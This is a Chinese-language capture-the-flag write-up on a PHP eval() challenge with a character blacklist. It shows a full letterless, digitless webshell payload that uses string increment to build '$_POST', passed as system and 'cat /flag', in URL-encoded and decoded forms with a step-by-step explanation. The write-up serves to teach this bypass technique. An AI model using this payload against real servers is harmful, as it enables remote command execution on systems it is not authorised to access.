题目描述
题目截图如下:
进入场景看看:
解题思路
- 代码审计题目
- 发现需要构造一个字符串,使得它不包含字母、数字、特殊字符的PHP代码片段,长度小于105,然后传递给$code
- post提交参数,eval()执行
- 是一个关于无字母数字webshell的题目,自增绕过
相关工具
- post,拿出hackbar
- 正则表达:https://www.mklab.cn/utils/regex
- url编码:https://www.urlencoder.net/
解题步骤
- 审计代码
<?php
error_reporting(0);
highlight_file(__FILE__); if (isset($_POST['code'])) { # 检查是否通过POST请求提交了名为"code"的参数。 $code = $_POST['code']; # 将POST请求中的"code"参数的值赋给变量$code。 if (strlen($code) <= 105){ # 检查$code的长度是否小于等于105个字符。 if (is_string($code)) { # 检查$code是否为字符串类型。 if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$code)){# 使用正则表达式检查$code是否不包含其中字母数字和其他字符。 eval($code); # 如果$code满足以上所有条件,则执行eval函数,将$code作为PHP代码执行。} else { echo "Hacked!"; # 如果$code包含不允许的字符,则输出"Hacked!",表示该代码可能被黑客修改。 }} else { echo "You need to pass in a string"; # 如果$code不是字符串类型,则输出"You need to pass in a string",表示需要传递一个字符串类型的参数。 }} else { echo "long?"; # 如果$code的长度超过105个字符,则输出"long?",表示代码太长了。 }
}
- fuzz测试正则还有哪些字符没有被过滤:
for ($i=32;$i<127;$i++){if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$code)){echo chr($i);}
}
输出:
!$'()+,./;=[]_
for循环中,这个i从32到127的意思是(ASCII三种进制对照表):过一遍这些字符
接下来就要使用 !$'()+,./;=[]_
来构造payload 执行RCE。什么是RCE?见后面的知识点部分
- 目前需要显示flag,那可能需要
cat /flag
命令 - 使用函数system:
system('cat /flag')
,请查看后文知识点。(不知道这里理解错了没...)
- 那么现在要做的就是使用
$_=()[];+\$
来绕过之前的正则表达式,也就是code的内容
_=system&__=cat /flag&code=
_=system&__=cat /f*&code=
- 大佬给的POC:
_=system&__=cat /flag&code=%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
之前的那个105的限制就在这里体现,要是使用get来编写payload的话,会超过这个105.(感兴趣的可以去数数-_-)
解码后就是:
$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);
格式化后:
$_=(_/_._)[_]; # _/\_ == NAN 有些地方时(0/0).
$_++;
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
$_++;
$__=$__.$_;
$_=_.$__;$$_[_]($$_[__]);
$_:这里的单个下划线,看作是变量1
$__:这里的双下划线,看做是变量2
不理解没关系,你可以把代码放本地去运行试试就知道了
<?php
$_=(_/_._)[_];
var_dump($_); # 输出N
说明:_/_ == NAN,目的是得到N这个字母,方便自增得到P。除了_/_ 外还空数组、无限大:
<?php
$_=(_/_._)[_];
var_dump($_);#输出N
<?php
$_=(_/_._)[_];
$_++;
var_dump($_); # 输出O
<?php
$_=(_/_._)[_];
$_++;
$__=$_.$_++;
var_dump($__);# 输出PO
<?php
$_=(_/_._)[_];
$_++;
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
var_dump($__);# 输出POS
<?php
$_=(_/_._)[_];
$_++;
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
$_++;
$__=$__.$_;
$_=_.$__;
var_dump($_); # 输出_POST
至于下面代码:
$$_[_]($$_[__]);
#也就是 $_POST[_]($_POST[__])
解释如下:
- $_POST 变量用来收集表单数据,
- 这里$_POST[_] ($_POST[__]),就是要给_和__进行传参,()的意思应该是分传参的先后次序咯。
得到Flag
flag{2973f3b4a67d74882bab11b75f37cef7}
新知识点
- isset() 函数:检测变量是否已设置并且非 NULL
- RCE理解
- 远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
- RCE分为远程命令执行ping和远程代码执行evel。
- PHP中system函数
4.ASCII三种进制对照表、二进制、字节
5. Perl 特殊变量
参考链接
- 总结rce(远程代码执行各种sao姿势)绕过bypass
2. 从CTFShow[RCE挑战]中学习自增构造webshell,这篇文章介绍很详细
- 什么是自增:
当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符
- 题目讲解4
- ctfshow–RCE极限挑战
有用的话,请
点赞收藏评论
,帮助更多的同学哦